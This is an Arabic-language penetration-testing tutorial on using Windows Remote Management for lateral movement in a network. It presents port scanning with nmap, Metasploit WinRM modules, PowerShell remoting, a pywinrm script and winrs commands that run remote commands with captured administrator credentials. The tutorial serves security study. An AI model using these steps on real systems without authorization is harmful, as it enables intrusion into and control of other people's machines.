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  WINRM الـ خدمة يماه 1

WinRM اختصار لـ  هيWindows Remote Management  وهي خدمة تسمح

الاتصال يتم عن طريق برتوكول ، كما ان  عن بعد بادارة انظمتهملمديري النظام 

HTTP  أو عن طريق بروتوكل  5985باستخدام منفذHTTPS SOAP  باستخدام منفذ

كما  NTLMو  Kerberosالتحقق من كلمة المرور يدعم بشكل افتراضي و 5986

 .(Basic Authentication)يدعم التحقق الاساسي 

 

  WINRM الـ متطلبات 2

 .(Local Administrator)المحلي  نظامالتتطلب صلاحيات مدير  WinRMخدمة الـ 

 

  WINRM الـ تاريخ 3

 Windowsونظام  Windows Vistaكان يتم استخدامة على نظام  1.1الاصدار الاول 

Server 2008  ،الذي يتم استخدامة على  2.0اصدار  هتبعWindows 7  وWindows 

Server 2008 R2 . مثبت مسبقاً على نظام الذي هو  3.0ثم تبعة الاصدار الأخير

Windows 8   وWindows Server 2012  ، في نظاماما Windows 10  تأتي خدمة

WinRM .ًمثبته مسبقاً لكنها غير مفعله افتراضيا 
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 WINRS و WINRM بين قالفر 4

 remote management applicationفي خدمة  (Server)هو الخادم  WinRMالـ 

يعتبر المستخدم  Windows Remote Shellالذي هو اختصار لـ  WinRSبينما الـ 

(Client)  .الذي يطبق على الجهاز لمحاولة ادارته عن بعد 

 

 الشبكة في WINRM خدمة على التعرف 5

ولنتأكد من انها  5986و  5985تستخدم منفذي  WinRMكما ذكرنا سابقاً خدمة 

او باستخدام  Nmapمفعلة في الشبكة يجب فحص المنفذين عن طريق استخدام 

 في ميتاسبلويت  db_nmapخاصية

  db_nmap -p5985,5986 Machine-IP -Pn 

 

   

 

 

 

 

 

 

 

 

 db_nmap - 1صورة 

  - nmap 2صورة 
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 (AUTHENTICATION METHODS) التحقق نوع على التعرف 6

باستخدام موديول  عرف على نوع التحقق من خلال منصة ميتاسبلويتبامكاننا الت

(winrm_auth_methods) 

 auxiliary/scanner/winrm/winrm_auth_methods   

 
  - 3winrm_auth_methodsصورة 

 مغلقة؟ WINRM خدمة كانت لو ماذا 7

 RDPاو  WMICعلى الجهاز بأستخدام  تفعيلها عن طريق تنفيذ الامر التاليبامكاننا 

 اي طريقة مشابهه

 winrm quickconfig 

 winrm e winrm/config/listener  

 الشبكة؟ بداخل للتنقل الخدمة استغلال يتم كيف 8

بعدة طرق مختلفة تمكننا من التنقل في اجهزة  WinRMبامكاننا استغلال خدمة 

 الطرق التالية: احدعن طريق استخدام الشبكة 

 Metasploit  

 PowerShell 

 Pywinrm 

 WinRS 
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 METASPLOIT باستخدام WINRM استغلال 9
 

المفيدة لنا  Modulesالـ  العديد من ، هي منصة شهيرة وتقدم Metasploitمنصة 

 Modulesالـ  اهمكمهتمين بأمن المعلومات ، دعونا في البداية نتعرف على 

 .WinRMالخاصة بـ 

 

  - winrm_auth_methods 4صورة   

( 3والذي قمنا باستخدامة في ) صورة رقم  winrm_auth_methodsفي البداية 

  WinRMع التحقق المستخدمة في الشبكة لـ اوعن طريقة استطعنا معرفة أنو

auxiliary/scanner/winrm/winrm_auth_methods 

 

والذي عن طريقة يمكننا التحقق من كلمة المرور التي لدينا اذا  winrm_loginيليه 

 ام لا. WinRMكان لديها الصلاحية لـ استخدام 

auxiliary/scanner/winrm/winrm_login 

 

 

 winrm_login – 5صورة 
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 تطبيق الاوامر عن بعد من خلالهاالذي يمكننا  winrm_cmdيأتي بعدها  

auxiliary/scanner/winrm/winrm_cmd 

  

 winrm_cmd – 6صورة 
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 ؟WINRM_CMD تشغيل في مشكلةال هذه واجهت هل 10

 

 

 

 

  

 

 

 

 

 

والسبب يعود الى ان منصة  winrm_cmdقد تواجهك مشكلة في تشغيل 

Metasploit  لا تدعم التحقق عن طريقKerberos  او الاتصال المشفرhttps  والذي

  Windows Server 2012في  WinRMهي الاعدادات الافتراضية لـ 

 

  للاتصال بالجهاز PowerShellالحل هو الانتقال للخطوة التالية واستخدام 

  - 7issue in winrm_cmdصورة 
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 POWERSHELL PSREMOTING باستخدام WINRM استغلال 11

..  PowerShellهي باستخدام الـ  WinRMاحد الطرق الشهيرة لاستخدام خدمة 

او عن طريق  من اي جهاز بداخل الشبكةمباشرة  PowerShellالـ  استدعاءننا بامكا

  Meterpreter sessionباستخدام  powershell_shellاستدعاء 

 ثم تنفيذ الاوامر التالية:

1. $user = "Haboob\admin"   
2. $pass = "P@ssw0rd-Haboob"   
3. $pwd = ConvertTo-SecureString $pass -AsPlainText -Force   
4. $com = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $pwd   
5. Connect-WSMan -Credential $com -ComputerName DC1.haboob.local   
6. cd wsman: 
7. Invoke-Command -ComputerName DC1.haboob.local -ScriptBlock {DIR C:\ } -Credential $com   

 لما يتناسب مع شبكة الهدف الأحمر باللونيجب عليك تغيير كل ماهو 

اسم المستخدم يجب أن يكون مدير محلي للنظام او مدير للشبكة ، في حال كان 

 اسم المستخدم مديراً للشبكة يجب اضافة اسم النطاق .

الجهاز بالاضافة الى مس والسطر السابع يجب اضافة اسم اكما انه في السطر الخ

 اسم النطاق المحلي.

 

  

  PowerShell - 8صورة 
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 PYWINRM باستخدام WINRM استغلال 12

عن طريق احد اشهر  WinRMلـ استغلال خدمة الـ  Pythonبامكننا استخدام لغة الـ 

، في البداية يجب تثبيت المكتبة على جهازنا الشخصي عن  pywinrmالمكتبات 

 طريق تنفيذ الاوامر التالية:

1. # for Debian/Ubuntu/etc:   
2. $ sudo apt-get install gcc python-dev libkrb5-dev   
3. $ pip install pywinrm[kerberos]   
4.    
5. # for RHEL/CentOS/etc:   
6. $ sudo yum install gcc python-devel krb5-devel krb5-workstation python-devel   
7. $ pip install pywinrm[kerberos]   

 

التالي للاتصال مع الاخذ  Script بعد التثبيت أصبحنا جاهزين وبامكاننا استخدم الـ

 :في الاعتبار تغيير المعطيات باللون الأحمر

1. from winrm.protocol import Protocol   
2.    
3. p = Protocol(   
4.     endpoint='http://10.0.0.60:5985/wsman',   
5.     transport='ntlm',   
6.     username=r'Haboob\admin',   
7.     password='P@ssw0rd-Haboob',   
8.     server_cert_validation='ignore')   
9. shell_id = p.open_shell()   
10. command_id = p.run_command(shell_id, 'ipconfig', ['/all'])   
11. std_out, std_err, status_code = p.get_command_output(shell_id, command_id)   
12. p.cleanup_command(shell_id, command_id)   
13. #print(std_out, status_code)   
14. print "std_out: " + str(std_out)   
15. print "std_err: " + str(std_err)   
16. print "status_code: " + str(status_code)   
17. p.close_shell(shell_id)   
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وتنفيذ  Proxychainعن طريق الـ  Python Script بالامكان تشغيل الـكما انه 

 الاوامر عن بعد

 

 pywinrm -9  صورة 
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 WINRS استغلال 13

، بتنفيذ الأمر  Command line [cmd]مباشرة من الـ  WinRMيمكن استغلال خدمة 

 تغيير كل ماهو باللون الأحمر:التالي ، مع الاخذ بالاعتبار 

winrs -r:http://DC1.haboob.local/wsman /username:"HABOOB\admin" /password:"P@ssw0rd-
Haboob" "ipconfig /all"   

 مباشرة من خلال الأمر الاتي: CMDاو بالامكان فتح 

winrs -r:http://DC1.haboob.local/wsman "cmd"   

 

 

  

  - WinRS     10صورة 
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